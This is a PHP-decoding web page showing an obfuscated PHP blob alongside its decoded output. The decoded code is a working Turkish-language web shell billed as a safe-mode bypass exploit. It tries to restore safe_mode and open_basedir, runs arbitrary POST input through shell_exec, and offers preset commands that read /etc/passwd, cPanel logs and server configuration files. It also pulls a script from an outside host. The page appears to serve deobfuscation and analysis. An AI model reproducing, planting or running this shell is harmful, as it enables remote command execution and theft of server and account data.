Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
echo(str_rot13(gzinflate(str_rot13(base64_decode('nUdfeNswEH8v9DscopAG1iiFsYfUaW6h6dtNxja6..
Decoded Output download
b'echo "<b><font color=blue>Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit</font></b><br>";
print_r(\'
<pre>
<form method="POST" action="">
<b><font color=blue>Komut :</font></b><input name="baba" type="text"><input value="aly?tyr" type="submit">
</form>
<SCRIPT SRC=http://illegallab.com/say.js></SCRIPT>
<form method="POST" action="">
<b><font color=blue>Hyzly Men :=) :</font><select size="1" name="liz0">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">Tm Ayk Portalary Gr</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" value="Gster Bakim">
</form>
</pre>
\');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]);
$liz0zim=shell_exec($_POST[liz0]);
$uid=shell_exec(\'id\');
$server=shell_exec(\'uname -a\');
echo "<pre><h4>";
echo \'<center><a href="?ag"><img src="http://illegallab.com/images/devil.jpg?r=\'.rand(0,16000).\'"></center></a>\';
echo "<b><font color=red>Kimim Ben :=)</font></b>:$uid<br>";
echo "<b><font color=red>Server</font></b>:$server<br>";
echo "<b><font color=red>Komut Sonulary:</font></b><br>";
echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
'
Did this file decode correctly?
Original Code
echo(str_rot13(gzinflate(str_rot13(base64_decode('nUdfeNswEH8v9DscopAG1iiFsYfUaW6h6dtNxja6jhEkI8lMHdm+OHcl9p32Ccag+2+TeYc4NKVyQj7fn9/d6e5qS645kKhVohV0CldhuYgLm27y1SzHWGYLRm4WTSHM9ArhlkoI19w5zSr4a4dyJoziDK7yR1jpNanlU1I0gCUR9bCFVcjZ4U4qDEZmZDw4PIhFgYn/rLhj4EOtbBWT6fvZJQFdKsNMWVWw76nphrtZwaSPYkvqSFk7jFahC1pA5amXFd4psjEvtI+Oyd9fj38ef3ibn6tceRxySTijmow0lBSE2fXFl+klzC6u47VF6YRFcC3W2k1djFfuqNT56F76Ck3P/3nnZr60OdwieAuDVjzcNifRb6lAmqUv8pRnLU0/lQaOpwF700ypFUNHJQ1w+ESRpPcT0db3dhRQJZWPPNEMfk8tMIUTA9ZVhYwkl3pIDj60T/4ARi6Utk3k8KnViefBm5IWTdAy1Qwt1XLJM6YMq1SW177CdHovYIbOcS69ox8FW2i99jSviF9mqXEX2civiAkDqPopt4rXcfR7R9Hg3Ip9oL22PiZ6lyGBYZ9qNmqTqhuJH56AK/1g3O5B05Zpg6F0o25zLkMqLvCYVULsufPEJkJZPFI2L7TEyojGbRT2L5Z4tGmOnv7HVPOw6t8C874Pz6DzSxq3xylLOqfMR32Hgamauo4kigWKHUYWntmvdeOA7bkKrVHrt81ydkeDqFHmG0IiDXiBq5ic6zrQ39UgUhmT/TQ2QdcodoULcFT3dn0u4sFV+NtpPH5m+mE8Hg9UA49PN+BHJ4N6FbuMFkslN8YZB0rIApV7SncSGt6cwnSjdFrzO27te7wY2d7FGXRMuwOBopMnShg6hHNRdP0fP68tPPUP22FYyPkP')))));
Function Calls
gzinflate | 1 |
str_rot13 | 2 |
base64_decode | 1 |
Stats
MD5 | ea70603a7234bac8553fbfe9bf3b15fd |
Eval Count | 0 |
Decode Time | 37 ms |